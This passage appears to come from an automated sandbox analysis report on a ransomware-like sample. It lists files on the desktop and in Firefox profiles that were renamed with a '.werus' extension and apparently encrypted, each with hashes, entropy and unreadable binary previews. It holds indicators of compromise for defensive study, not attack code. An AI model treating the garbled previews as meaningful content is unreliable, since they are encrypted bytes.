Preview:	?+..V.....%...O.4.;.j....".hr.;.u.>..`....Z....VP].5..R..4...xg..v...7..\|H......\|i..}/...z....B......R=.X=K..I...9.[..l...y..l..W....b-4"aF.....W.I........?4..F.'.9D......\|..O.K.H....oG..-...1.#..z..s..U.>...d.7.v..3v..F.L....#........@........N.S..O....p..0t..R,.+.J.6_~o.0vu...Z....0/..&.59....<.p$J.Z...d.&G..).:q.v...5..Zy...gcuh............K...O.....f&..;..:...1j.[.o;.t.o72. N&.W..8....c....C.......uE&z...F..)k..V....g.....7.Nv...6......nX...w..Q.mW.t.'.JBR.....J.{.x._Iw........P. ....K ..$jU..f.x.......).].{o...(!'R).Ii..p...C...,W..9...k.)....{\...._\.........8..!.PMcs%........5.b.q.w..#h<.?h.s..).m`..QJ.&=....d...F..&".@.J.......;.hrB......&...b..H.....'%.".2.=.,b....T.r..[.._H.....F...!.?Jd...B9....N l"]...5 .G.....^.F\|YoX.{f..3..#...=...3...Ll.........<.....h..\|&..On..0...9.{.....#@..?....7....+.X.W..Miv.Gi..,.q..._.,2..`O^.u..5M..g........+..6.)...az..{.-P.f...9..p.7.M....d$.`.&CU.mfx...P..{J?..DM.h.{..O..Q...K....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	6.740935852061651
Encrypted:	false
SSDEEP:	3:z+56IcGFQeOobryB6ii8M6C//Wz44yseEHZK3fMoEM+ZoCsun:SpqOMPyj4yshZ4M73Z4u
MD5:	A018139E785B21FB943C3B6288D2CB3F
SHA1:	E85AF088A9DE93564AAF470B417100B3B3508048
SHA-256:	B1906D62D3EE8CD4977CE0D4DC7B91EC707C6AB4D44FC2ECAA03ADD7FC51F00D
SHA-512:	1FED0A35F7EF410CB69F9E89273FA0F5AEE537E9209525C995A4A5D0477F5EDB8D6E4055E07BB32C3EC98272AB7B216A747221B815F73A02FE6564CB7BB63415
Malicious:	true
Preview:	......<z...'>`....U.#eF...u...>.me...PN.$...:.\|P$..G.....-V.@.C..:..".....Y.E...'.W.Z.....".b.....'.F.}o..OH..)...jW....ig..O...k.C.] .2/

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	5.4182958340544936
Encrypted:	false
SSDEEP:	3:LzQPb5tbZ366XedwXW3:XQPbLZ3ewXw
MD5:	55122D4CA92381AF0FB4B2526B61AD7A
SHA1:	985B80A717C566567A5D32E41ABA712D0650DE9A
SHA-256:	7064FDC1F37F2A27550B56132D3691AEB6F7AB6CED21E4FABAF5DFAD350C54D9
SHA-512:	7FED8B2368DA2F3181F2DC4074F76E2F1AD1FA29CC97AFCD54965BF1051C89E346FE9151EC8581FA2199E98F49BD5BA6A94ED5076371B8953C800E5A101082A2
Malicious:	true
Preview:	.;.N..z..Z>..\|n....R...)..`z.avroG....8n..'...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\installs.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	6.018619813556228
Encrypted:	false
SSDEEP:	3:kG7AryiPPDF5dNYSoWz6FYKRbdeBmH+9/:kzFDF5wS5aRbze9/
MD5:	5196F20BD6CCCBF650633550CEEE1F0E
SHA1:	4FEC3E0E471671B4FAF74043378E14A772920F9C
SHA-256:	40CB07F08D47D4063994C9C07235B6E6243908ECDFE03D3216797FB27B83AB1D
SHA-512:	DCD94A160847568D8F3EBF7788D832259E69BA153306974FC10F1373662A57D14FB6387AB3151635E0B299C297DEDBF3F289D602E9D9F65A6F29092F30E150AE
Malicious:	false
Preview:	.5...i...n.w.........cn.&.......x...M.<..`}...t3....J.2f......C....e....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	320
Entropy (8bit):	7.2657043354097
Encrypted:	false
SSDEEP:	6:9pitcpfFCnNWlYdZ63Xx3FEudL4DOgf3j/ycitRlsirPrnue9HRsHMyv:GtcpaOYdZGXxVJ4DOgfTaceRlswPr5RA
MD5:	BA422DB607225AC91E7D119D486C1C5C
SHA1:	89C270B0865665A0737DB070486A30C5E60ADE47
SHA-256:	B729DC749CA97888F4680A48923210BBFC0D9C6B2F55C6009752B274ED8D3C0A
SHA-512:	1915DD13933D2F333F2D970F405B02E502A87CAF7EC303870BE1542692CF4BA92F9C083740D43302293D0596938ED86D8ECEE31529740F219F876FFD02652CF6
Malicious:	true
Preview:	?Gv.9.h.,....6.s...G..k.z....uA_.E\|\.....gj....z.gH".....n(7..>....N.B.9......u".(....l...".m...E....c..q.-......@.(r...."v.r....F.C. ..(.....>).e..-.f....n.@E..;<`\\|...E..Q~..S\..O..h1z.&t,M..rCI.?.V...........-....I.\|ek[.H....< ...X...][...<..Wp.#..=.`...................I....G......@...ue...L.W..

C:\Users\user\AppData\Roaming\_curlrc.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:X2Pn:4n
MD5:	E76E60375E6F9C8D7EA86BE62816FCB5
SHA1:	9438B4BCAC50B645FD6D37F43F8844CC70D95E65
SHA-256:	6A322A56B5C290484BC0EC34DC351B279F437B56F1D5CC3347F4DFCEF42CD15C
SHA-512:	81481F50882BC4562AA18203E69EFF8839BE80F7CFBF54CB5DA997A6B48EA0300665E0F060991338CEC85812C9BB745583906F3490622997499C216120D72AB9
Malicious:	false
Preview:	......._n.H.0.)

C:\Users\user\Desktop\BJZFPPWAPT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.805307704800202
Encrypted:	false
SSDEEP:	24:QKBxBXKnn5fG79hRvsk3vbKBkkf7WShfnqQLIV0A3gRjYW:L/8nc79Z3vmBkkjWSfhEVR34Z
MD5:	316A251FEAAE514585F381852BA8EBA7
SHA1:	514877794A25855CDA874D17B383D0D698D1EE54
SHA-256:	E514C155F9755B9A3D8847DA7A679C0DB605A59F68D4754BCB7095381122B598
SHA-512:	FE2E7B1CFC4DCC6C725B89B248FF520EB159B681AAE236F91CA589C745A60E5978259B86349AC15E74C94953B47A0B7785048FCE733B2405BD0E13FA81001000
Malicious:	false
Preview:	i6QYE.f..Z......t..4...Q.2p..u.'-.Q.x.#s7S.)O`b....5.m.\....w.u..........n...$..A.....(S.U...^..._..4...i...........(2.].,1.w%K..6J.to4.....R0+.O.. U.....Y..`.y^05#....^......9..1ZY1...\...pS..!~.-Q.........)..~.....b.c.'+.....O"/...v%..$m.._^.....f..2t........\..i..(a.P.....d.Z96..c...R....'0>...h.N...SF....a.2...L..C.Ua...4....3R.R..h..._.."x..7.. .f0.Y..q..f..oh..P4I.m...m..f5........U...QW...RX...`/..S.P.2..xf^)T_./E....>m...I..O....dG.S\.0..H..L.t..W(.@....ZlE..b.iT...7NX....u.62(.3&4......f....\|.s1[..M\|.xw....A....u.`w.`....!.d%i....."....(.W.&*rEx.....'..$!1.V....l.p..)@....B.[.$.f......u.....1.t..to..>.9U.......sp."...O....%.]...I.D..a...5.G..2>...y.aa..c..[..&....f0...>.d>...h...]{.2{dk.`..L..S..rHgo.A..o....pk.<.fM?.)..H....;...9..#q..J...&.q.6.8.q.U...tJy...=......B.g..d.....w.h..Rd0..#..W....?..nF...K.D..........y.W....b._.NY.Xb.L.i.i..i..F.'d.`..9M..=..3..XX..ER'E..........\|.......].#.C...FzV. .-....h.....c..Y

C:\Users\user\Desktop\BJZFPPWAPT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.805307704800202
Encrypted:	false
SSDEEP:	24:QKBxBXKnn5fG79hRvsk3vbKBkkf7WShfnqQLIV0A3gRjYW:L/8nc79Z3vmBkkjWSfhEVR34Z
MD5:	316A251FEAAE514585F381852BA8EBA7
SHA1:	514877794A25855CDA874D17B383D0D698D1EE54
SHA-256:	E514C155F9755B9A3D8847DA7A679C0DB605A59F68D4754BCB7095381122B598
SHA-512:	FE2E7B1CFC4DCC6C725B89B248FF520EB159B681AAE236F91CA589C745A60E5978259B86349AC15E74C94953B47A0B7785048FCE733B2405BD0E13FA81001000
Malicious:	false
Preview:	i6QYE.f..Z......t..4...Q.2p..u.'-.Q.x.#s7S.)O`b....5.m.\....w.u..........n...$..A.....(S.U...^..._..4...i...........(2.].,1.w%K..6J.to4.....R0+.O.. U.....Y..`.y^05#....^......9..1ZY1...\...pS..!~.-Q.........)..~.....b.c.'+.....O"/...v%..$m.._^.....f..2t........\..i..(a.P.....d.Z96..c...R....'0>...h.N...SF....a.2...L..C.Ua...4....3R.R..h..._.."x..7.. .f0.Y..q..f..oh..P4I.m...m..f5........U...QW...RX...`/..S.P.2..xf^)T_./E....>m...I..O....dG.S\.0..H..L.t..W(.@....ZlE..b.iT...7NX....u.62(.3&4......f....\|.s1[..M\|.xw....A....u.`w.`....!.d%i....."....(.W.&*rEx.....'..$!1.V....l.p..)@....B.[.$.f......u.....1.t..to..>.9U.......sp."...O....%.]...I.D..a...5.G..2>...y.aa..c..[..&....f0...>.d>...h...]{.2{dk.`..L..S..rHgo.A..o....pk.<.fM?.)..H....;...9..#q..J...&.q.6.8.q.U...tJy...=......B.g..d.....w.h..Rd0..#..W....?..nF...K.D..........y.W....b._.NY.Xb.L.i.i..i..F.'d.`..9M..=..3..XX..ER'E..........\|.......].#.C...FzV. .-....h.....c..Y

C:\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.805307704800202
Encrypted:	false
SSDEEP:	24:QKBxBXKnn5fG79hRvsk3vbKBkkf7WShfnqQLIV0A3gRjYW:L/8nc79Z3vmBkkjWSfhEVR34Z
MD5:	316A251FEAAE514585F381852BA8EBA7
SHA1:	514877794A25855CDA874D17B383D0D698D1EE54
SHA-256:	E514C155F9755B9A3D8847DA7A679C0DB605A59F68D4754BCB7095381122B598
SHA-512:	FE2E7B1CFC4DCC6C725B89B248FF520EB159B681AAE236F91CA589C745A60E5978259B86349AC15E74C94953B47A0B7785048FCE733B2405BD0E13FA81001000
Malicious:	false
Preview:	i6QYE.f..Z......t..4...Q.2p..u.'-.Q.x.#s7S.)O`b....5.m.\....w.u..........n...$..A.....(S.U...^..._..4...i...........(2.].,1.w%K..6J.to4.....R0+.O.. U.....Y..`.y^05#....^......9..1ZY1...\...pS..!~.-Q.........)..~.....b.c.'+.....O"/...v%..$m.._^.....f..2t........\..i..(a.P.....d.Z96..c...R....'0>...h.N...SF....a.2...L..C.Ua...4....3R.R..h..._.."x..7.. .f0.Y..q..f..oh..P4I.m...m..f5........U...QW...RX...`/..S.P.2..xf^)T_./E....>m...I..O....dG.S\.0..H..L.t..W(.@....ZlE..b.iT...7NX....u.62(.3&4......f....\|.s1[..M\|.xw....A....u.`w.`....!.d%i....."....(.W.&*rEx.....'..$!1.V....l.p..)@....B.[.$.f......u.....1.t..to..>.9U.......sp."...O....%.]...I.D..a...5.G..2>...y.aa..c..[..&....f0...>.d>...h...]{.2{dk.`..L..S..rHgo.A..o....pk.<.fM?.)..H....;...9..#q..J...&.q.6.8.q.U...tJy...=......B.g..d.....w.h..Rd0..#..W....?..nF...K.D..........y.W....b._.NY.Xb.L.i.i..i..F.'d.`..9M..=..3..XX..ER'E..........\|.......].#.C...FzV. .-....h.....c..Y

C:\Users\user\Desktop\BJZFPPWAPT\CZQKSDDMWR.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79169412483687
Encrypted:	false
SSDEEP:	24:L9JSO3dbbpHiW5BTpFaTdsSwqTkbcuJ58kvyUU6pHV6KL0tGsc5VLc0K:LJ3dbbBiqBTpFa5sS0Fr8kqGVst8LnK
MD5:	A06C2FBEB411933D9DD1C963AA42413C
SHA1:	A2C80B66A1032BBCE249C0BD9D276685BDCCFFA1
SHA-256:	7CCF496F0B265D2804B6D35ED41074EEC42F1D556DF57081B64300B93AFD8270
SHA-512:	D13444D4B538E97A70966D973329A7407B14158441CF4D07FD9BD433232AAD290BE476AA1BD5751EEB36F36172378A0123CDDF154D0ECE7FF3D43EDEC84EF62D
Malicious:	false
Preview:	...5I...z...F[...~.V..'...5...t..1i.k..Q... ....L.kg!2..R{N..L..?#..i...A....+.v...7......^K<..V...B.da.@y...0..2...e....V..&......+?.%Fq..~......@.K......j.e.....m.<b..V....n.c.l.z..t..<.......d..Q_M`F..}.5Ckl.9.....$a..Uz..U.A[...L~J.A......`.....y.?...x.......22.$..k.^W[.o]a..mE1.b......P.....}[..s....Y0.z.....6.gm=.5...6..C .ZQ6u.kP..G.-...C.)055v.J..Pb.yS...o .....0..\...(...S...r.E......Lr.0c...b.a}3...L...#}...c..n1...j.....c..~u.@...h..+.(,..6.A.........\.6"R\|...Ie....9.......\.Nl..0...a...<...}fg$...Y.......VE(qa.+.^}.v{....nD..;.gv.s.I'.>.'..4..A{.\|.l...m....l)....1..4.]vcx...x.t...;....L~j.x9&.R>..x.\}1Y.....d.........)..@.uc............#.;.f..6...1...E..........%....}@K.&.B=..@.>T....\oR.i..7g.......mm..2.5..4..1.. .G>}8?....*f6.[._K...........I.l..=.~.(.>.nC....b[:..E.Jh..#....rSD+2Xd<...i.0S...9^.......5%.O.eE..O.!C.v1..P...Ii....qxyyN.6..o$J..V<n.c......W.=....pv...........}.s....J6{^...7'Ny..U]-.I....k.

C:\Users\user\Desktop\BJZFPPWAPT\EOWRVPQCCS.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815732990822623
Encrypted:	false
SSDEEP:	24:oqFkXrBkgsYFANgkZhCnSQVdgV8sdKORhbimGb:oOm2gsBNd3QV0Prbij
MD5:	26B8E50814239A6FFE212DDB0F07ACF6
SHA1:	369818435AAD622D49A150ACA2C31D842A9F933E
SHA-256:	1BB7FC240AE092410B24AEA411646F284930B6E10313DAC576ACC28DF361891A
SHA-512:	8DFB4C9BFBE98A23465EAD03D24D7493DF0F7552F580EB26D0E3436C8F37B2AE535B25C3BFDC3294BBF5F0E92F8697D077A4DF4E163C15A179565ADE7DCFCA7E
Malicious:	false
Preview:	/k.!\..!3...F......}........,]....g.L...y.8....M.<?%2PR.a.B.&T....^....`=.=.9z^6...B..].....U.b..x...$...r.m.'e4.......i..B....-9..Q........A+Z.?;u....y.9.N...<v.`.8....[...#H...E...3.)..%ma.e..7....XAt..T.G...K+Z..y.BO.E-bq......7 bwg.XK6...Li#.f.h.....`.#>M6._...V.R.../J/.W.C... /.uI..$..]...{m..5h......:+.8...].eB4kR..ob...5......q..w...>...........[....?[....:.......X..1..52......#.4.n <......<FQ6.O...2.....j..>U"....%b{k..]......[.......~..O..qk......B..":..=.......==..U.k..\.gs)..-..G......P...4..Lg.;.........dY..T.....0..J..Oz[..Y..cK..<....i....a..Le.v..^}4..)..0...BkYtTNB..X.ER..d.501.e.PwO..&!.6.l5...I.....Q.X`....jWs-X......fG..y'aA..Y...^..c.V..Mh......{.....T...0{`..w.J.....py$.h.J..:N...>.Vl.[3h.X......oi..!.....Y ,8....`..dU...g...KX.^..}.Z.Q.^..lK....Z.K..K..'.R..}..s...:.fU..-..j7....Y,c,....\|q\|6Y....Xk3..........l#...g^.u-!....c.....4......].=..:.3....SNV....%S.z?.^..kB.D.#...G......../.K.C..(/..ei&\|.?...:....h

C:\Users\user\Desktop\BJZFPPWAPT\NYMMPCEIMA.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.807938069631537
Encrypted:	false
SSDEEP:	24:h//cumcylhk2NIM0YHC9Vng+I3C1gSx3RsHR:5UumVQ2Nj7HC9Vg81Hsx
MD5:	E14C0B8329D4A99EE0B6A9055C4175B5
SHA1:	BCF38583620B915FDE3ED6EDA2ADBEA0C3AC63CA
SHA-256:	6172CC42D84C8E6995CE919F3414BEBD39FA9AB8474B68E880E975B7FF074194
SHA-512:	C8315AC1E30C952FDBE7A81F863288C92FF74851FFF01F83109F36CEEB0B10D80AACBEB2F378BC0B49E5D12705E1AB07C0173814888FE6643B5264C6F750AD01
Malicious:	false
Preview:	....m...>..].@l."..:...r+....e@.1J=3..D.../l[... /C.\.......w...^.......@%.Y.-`.rX...=.......f..5..7....\|..\.'....-...2.d.a:.B.gv.I...s./...........h.s... O.}B.p/...(B..yd....)b.T-...ydC...{.}`zM...A.0...LL..l..<+.m0.c.....D...#.[ .\|>.........D.gJ..u}0o0..........z.d.b.(Q....;..M;.?S.'b........i.O.J.....^.....N.9.%..-5....aX..B.K.[e...(..{..zH.U.#.b....5..xn..'.......<'.y.<2.8=..&K...'.....HLLLG.....E.....7..K..!.33.m.g.0<...e.......m-.n..vV/..t8.8G...b.........q....P..=...D'..xRk~.=.~.\v..1..2.}gO..n.;E.t..Z/]..Y.....?...t.SA..\|...D.SB.N.iq...f]...bx..d....X.y..z..e...........~d...>...cx...6......]@../nDTJ.C.H.I.O..[YB..\|XT.ZA.y.Y..3..K..".=.....3>... _.,....(`.I^P3+...\|.gc<..~..zg........@w..8.q.......YZ.........?.V.SaL+h........\m..]=.....4....c......=..K..;....U..-...p...Y.yj..JFx....AJ.i1N..-.r_)...J.....>L._../.lw0..r..[2.>..h..-oQn........?.. .&q...h....U..a.@.......d...1.J`k..E...M.m.....K......G...Hx.@....B.%..Q^*.L.3-T}...@

C:\Users\user\Desktop\BJZFPPWAPT\TQDFJHPUIU.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811017022250843
Encrypted:	false
SSDEEP:	24:jKBQmHFqSKY6CDZZYnZTg2+4YiPvHl+h1sRFbaIlDFBbWMLu0P:jKmOYEZYnRgZ4vYh1SFba8DFd
MD5:	6F5F7E717BBAD7C6ED813BCC37B2C01A
SHA1:	83C661847BC49F37597452A814D0CF6C9B4E37A7
SHA-256:	30494E4972ED13078A9AA1BDE97B5E391A7E17174A406E6C4D3FA85B767FA896
SHA-512:	C44D5A7912D5789625CF92B8555D01E38128D206ECC17B71015D2BD30981B07AA66B29A57E779B308A66AE1772E85FA5447398FA05553EDD43ECA9163850514D
Malicious:	false
Preview:	,..I.. ..?.6..]..{.}h..C8....D...+.V...x.Cx'.@..ZrH..a.b\o......~.....;.-f.Q(...2.....o..Q.....&.X.'..n.5...w.u.%.yqU.v../@.>....!Y..h....0....X.U.o...8xh../..E%...~.^.c./...S.mn~...>..o..(.].+..}=../P...ze-+..ab ..3&%..9$MU....!......t-q..5...s(...e..L...h/fB...\|.....w..'.f.....H....xJ.b....Gl6Ee...J.3...^......6or..j\|!...l...!.O. .g...R1..w..O.T.R....H.....j..0x.i...HZ...(.]....n...>.v..............{.g....g!.........@.SB1h....[.<7..#..D...u.ds9...N+.....3#.v.(....'.-7...U...Q}>9. 0......k.o.j..%.v..(i....Y.n.6......#a....%.m.`...G.e.D...@..9...{.2....t.6T...T.9...H....n.u.s.b....{:...kn).....{...?..g......wI.;...=..Cl<b.._=.S..z..%.K......})..;.Op.r{...[.7.._.(..{.L.k.....\|.T..IF.L.\|.T?uZ,....L&...q.!>.N..H..V.g.>f..\|._.....K*..z.JL.t[.cfX]..E.Q.RY....yO.............ui.d.,(..v.`.....m.n].....$.V0.S.`.d.D.r#I....e.1s...j......Xy._..w.."...sc.Q.S.rT.)v9=..#..,....s.o..\a...q.[..R..,fag;..p,Cc$.v.....x.\|.:..i..J.D.....j..H.lEn..Q.pf."..X.u

C:\Users\user\Desktop\CZQKSDDMWR.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79169412483687
Encrypted:	false
SSDEEP:	24:L9JSO3dbbpHiW5BTpFaTdsSwqTkbcuJ58kvyUU6pHV6KL0tGsc5VLc0K:LJ3dbbBiqBTpFa5sS0Fr8kqGVst8LnK
MD5:	A06C2FBEB411933D9DD1C963AA42413C
SHA1:	A2C80B66A1032BBCE249C0BD9D276685BDCCFFA1
SHA-256:	7CCF496F0B265D2804B6D35ED41074EEC42F1D556DF57081B64300B93AFD8270
SHA-512:	D13444D4B538E97A70966D973329A7407B14158441CF4D07FD9BD433232AAD290BE476AA1BD5751EEB36F36172378A0123CDDF154D0ECE7FF3D43EDEC84EF62D
Malicious:	false
Preview:	...5I...z...F[...~.V..'...5...t..1i.k..Q... ....L.kg!2..R{N..L..?#..i...A....+.v...7......^K<..V...B.da.@y...0..2...e....V..&......+?.%Fq..~......@.K......j.e.....m.<b..V....n.c.l.z..t..<.......d..Q_M`F..}.5Ckl.9.....$a..Uz..U.A[...L~J.A......`.....y.?...x.......22.$..k.^W[.o]a..mE1.b......P.....}[..s....Y0.z.....6.gm=.5...6..C .ZQ6u.kP..G.-...C.)055v.J..Pb.yS...o .....0..\...(...S...r.E......Lr.0c...b.a}3...L...#}...c..n1...j.....c..~u.@...h..+.(,..6.A.........\.6"R\|...Ie....9.......\.Nl..0...a...<...}fg$...Y.......VE(qa.+.^}.v{....nD..;.gv.s.I'.>.'..4..A{.\|.l...m....l)....1..4.]vcx...x.t...;....L~j.x9&.R>..x.\}1Y.....d.........)..@.uc............#.;.f..6...1...E..........%....}@K.&.B=..@.>T....\oR.i..7g.......mm..2.5..4..1.. .G>}8?....*f6.[._K...........I.l..=.~.(.>.nC....b[:..E.Jh..#....rSD+2Xd<...i.0S...9^.......5%.O.eE..O.!C.v1..P...Ii....qxyyN.6..o$J..V<n.c......W.=....pv...........}.s....J6{^...7'Ny..U]-.I....k.

C:\Users\user\Desktop\DUUDTUBZFW.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.799290941677727
Encrypted:	false
SSDEEP:	24:SOQvZaV5IO5e/qgJ2DPxaxMT30UJIeaHtrhDw:SOms5IsgJmPxaOIhNw
MD5:	120AB6BFED01989093F2734686E84F9F
SHA1:	757F4BDE3BE9A873C4E5FF19045D06AE36064ECB
SHA-256:	9BE677DE00FF4F05D3A669715035F3AF023328AE9C3E7A02F537C2D218397593
SHA-512:	B04A3B7C0BE4B7EFE0479838A59D5B4B393E64B6D01BFC3D904B83CBF3E6F8F12A23B23E6547F0B703A4B1AFF2A6BC29B506B6C6A6571CE4839ABBFCA2955982
Malicious:	false
Preview:	.P..?...5.K..&y..7bz_SF....Me..:G.......]..;!..?...S.....?.....7.;i..E.R'....w.N....R........z..p.N..#................S.8..u......pr..@.U.L..".<...(....Y.SS..J<A.CA..A.&...YM.d...y.'E...G..\.D.o...@h....MM.c.X\{...{n'.8>f.....o...Y.....>...'.o.q9.K..HtN0!.bPcd.?C8.gr.13m%..O...2...Y^y..rL....f...8.. ...r........C$g.P.......c.^..+.f....m~...yK`.P..G._..bq..fSP......6...-..w..\x....Q...b.L.&;@........s.V...}.v..P...W..Y.B>........{.I...nr.k.v...o..c.....H..S..#H@.?..h"h:...C.f.bD..@.....s!..t-....{?.......O.Q...~.I.kt..D.e.69.....V...F.. eT..Y9.?.....M.=.<...7......].,>....O...\|mo.G..l^..[.a....a+.^.....R......)Z..l.......y.I...Z..w.;....X.(9...1..N.e..k....[xf\|.......t......P.x...w..w.N.......[?....F......]b...1z5.&..=.@.10.;....q..S....\|}a...S.o..sA..}..H.\.....sf..1..[.-5..RI...0K....v.k..!a......#.'0...<.....,$...^.n..gc...".-..C..~1..._.0.o...Kk..T..1.xU4.N...WyX...%.A.E-...~.K..d.zEw.;r`.).l..H.O..,..~.....S....m.....A

C:\Users\user\Desktop\EFOYFBOLXA.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.799624475284229
Encrypted:	false
SSDEEP:	24:Xz7+GlPkYmBJKGgzXITyKR6mpyEvNt49WxOb/ewceO:XWGXIh6xYI5ewceO
MD5:	B5B01B02FD9842BA8576AD743454FB0F
SHA1:	4613260115CF4CC4C38BBC5839437209AF600629
SHA-256:	0A64A3480B4A2AF1484CF62225025E62E906805C1D30273AFC565F2B69DEE41A
SHA-512:	F8AE1EC0FEB63D16F51571DE6CCF032C28E0340D2AA2E11F94E31A0177ED1A72CDF09E35C1B7A39F73EB0071277A65907CFD1B9F903120957BBF15252ECE3350
Malicious:	false
Preview:	....ow2....of....t0....A........0.R......dp...i.....H..T....Y..w#[.....SH.N.>E9.....AY.h.....[.F).8z.^0g....\...<7!.....%...=Fm...(....f\|.I......2.,.w6..........R..-.}e.............s#SU...... +=f...f..vc.}.:...%...Qx....K.....`>.l.`.V%...u..h.2..k#r.p...T.c...s.1.j.s5SnN.Qg.7'..;%.#.S.,...U.sv.F.X...].......T{....A..d...%.ye~...<Z.W.:..w...?).K..v..B,..[.A..eX.I..l.]N&.Q.....O.A.....">.....R...201@...G....j...h...\|E.^.B..d.b.. .~(....EbO~...oZ.%9%..'..So...U.I......+.0.q..i.4&...:...AQ$..u"..qK...}.....-).Gf.....{..X`......\|.i. .C`mt.K.1c.,.Gh..S.B...$..NQ.2"...I"$_.!;..ur.G].d..T"..M2.;..}._..>..H...H.J4.. .8..9..#.......).k..u..-......V..........(..5[.BO.c$...3.r......}...$..8K........E.._!6KQBx.O..0.r..}....&...snJ._....].V..._.H...s$]......\Z]..E.U....k..e....w.k.L....ja.,..z.$....\|......S....qg..J....lY.k.P.l.k.. ...d...XL.k.U.}O...z.T..=..w\..{z........e8^......S.Uy...LU.....{.Rh...'3..A...nn2=R.......g.q...n...(:.Z.lQ.+...zZ

C:\Users\user\Desktop\EFOYFBOLXA\BJZFPPWAPT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.805307704800202
Encrypted:	false
SSDEEP:	24:QKBxBXKnn5fG79hRvsk3vbKBkkf7WShfnqQLIV0A3gRjYW:L/8nc79Z3vmBkkjWSfhEVR34Z
MD5:	316A251FEAAE514585F381852BA8EBA7
SHA1:	514877794A25855CDA874D17B383D0D698D1EE54
SHA-256:	E514C155F9755B9A3D8847DA7A679C0DB605A59F68D4754BCB7095381122B598
SHA-512:	FE2E7B1CFC4DCC6C725B89B248FF520EB159B681AAE236F91CA589C745A60E5978259B86349AC15E74C94953B47A0B7785048FCE733B2405BD0E13FA81001000
Malicious:	false
